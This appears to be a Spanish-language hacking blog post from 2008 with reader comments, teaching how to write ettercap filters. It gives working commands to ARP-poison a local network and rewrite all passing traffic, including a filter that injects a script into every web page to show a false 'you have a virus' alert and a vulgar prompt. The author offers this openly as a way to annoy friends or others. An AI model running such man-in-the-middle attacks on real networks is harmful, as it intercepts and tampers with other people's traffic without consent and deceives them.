El rincón de Zerial

Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio

Filtros simples en ettercap

Diciembre 7th, 2008 · 6 Comentarios

Les motraré cómo crear filtros simples para usar con ettercap, para que podamos modificar parte del tráfico como tags html, conversaciones de chat, etc.
Para esto necesitamos obviamente instalar el suit ettercap-ng, lo podemos descargar desde Sitio oficial ettercap

Haremos las pruebas con el sitio http://www.google.cl, modificaremos el título, el contenido, la imágen, etc.

Para este ejemplo vamos a crear un filtro llamado google.filter. Lo creamos usando nuestro editor de texto preferido, en mi caso vim:

$ vim google.filter

En él escribimos:

  1. replace("</title>", "</titleee>");
  2. replace("<title>", "<title>Gooooooogle</title><titleee>");

Guardamos y compilamos el filtro usando etterfilter:

$ etterfilter google.filter

Nos creará un fichero llamado filter.ef, que es el que usaremos.
Ejecutamos ettercap y aplicamos el filtro:

# ettercap -Tq -M arp:remote -i interface -F filter.ef // //

Ahora cualquier pc de la red, cuando ingrese a Google, verá el título modificado.

Podemos modificar el tag o información que queramos, no solo html, sino todo el tráfico de la red.
Por ejemplo, si queremos modificar la o las imágen de un sitio:

  1. replace("\<img", "\<img src=http://direccion..de/la/imagen/que/quieres_insertar.jpg\> \<aaa");

nota: Con todo esto, lo que estámos haciendo es modificar cualquier información que este viajando por la red, no solo las páginas web, si hacen la prueba y escriben <img por msn, verán que ettercap automáticamente lo reemplazará por lo que especificamos en el filtro.
Tambien podemos especificar que sólo queremos jugar con el protocolo http y la web agregando la siguiente condición a nuestro filtro:

  1. if (ip.proto == TCP &amp;&amp; tcp.src == 80) {
  2. [] acá las acciones
  3. }

Aprendiendo a aplicar e implementar estos filtros podemos hacer una infinidades de cosas divertidas, ya sea para fastidiar a algun amigo o simplemente para joder a los demás. Es cosa de usar la imaginación, por ejemplo, el siguiente filtro:

  1. replace("\<body", "\<body onload=\"alert(‘Usted tiene un virus.’);confirm(‘Chupamela?’);\"\>");

Hará que cuando alguien ingrese a cualquier sitio aparezca una alerta diciendo que tiene un virus y luego, para joderle un poco más, una ventana de confirmación.

Posts relacionados

Etiquetas: Documentacion · GNU/Linux · Hacking · Seguridad · Tips

6 respuestas hasta ahora ↓

  • 1
    » Creando filtros simples para ettercap > Insecurity UNITED STATES WordPress 2.6.2 // Dic 7, 2008 a las 7:01 pm

    [...] Link Crear filtros en ettercap [...]

  • 2
    Nozelf CHILE Windows Vista Mozilla Firefox 3.0.4 // Dic 8, 2008 a las 12:04 am

    Fue bien productivo el rato que estuvimos jugando con ettercap. :D

  • 3
    Creando filtros simples para ettercap -- InSecurity [Dot] CL - InSecurity Team Group UNITED STATES WordPress 2.7.1 // Abr 19, 2009 a las 12:46 am

    [...] Link Crear filtros en ettercap [...]

  • 4
    Andres CHILE Ubuntu Linux Mozilla Firefox 3.0.14 // Oct 22, 2009 a las 10:39 am

    Puedo jugar con ettercap, en mi casa, sin tener un red?
    hice estas pruebas y me tira el siguiente mensaje:

    Content filters loaded from filter.ef…
    Listening on interface…
    ERROR : 19, No such device
    [ec_capture.c:capture_init:146]

    pcap_open: SIOCGIFHWADDR: No such device

    es porque no estoy en una red, o porque estoy haciendo algo mal?

    Muchas Gracias.

    saludos

  • 5
    Zerial CHILE Linux Mozilla 1.9.1.3 // Oct 22, 2009 a las 11:19 am

    @Andres: El parametro “-i interface” define la interface que usaras para capturar los paquetes. El error “No such device” hace referencia a que no encuentra el dispositivo especificado. La interface debe ser tu tarjeta etherner o wireless, generalmente eth0, eth1, eth…, ethN o bien wlan0, …wlanN.

    saludos

  • 6
    andres CHILE Windows XP Mozilla Firefox 3.0.14 // Oct 22, 2009 a las 5:47 pm

    Gracias zerial, tratare de indicarle el dispositivo que en mi caso es eth0.

    Saludos

Deja un Comentario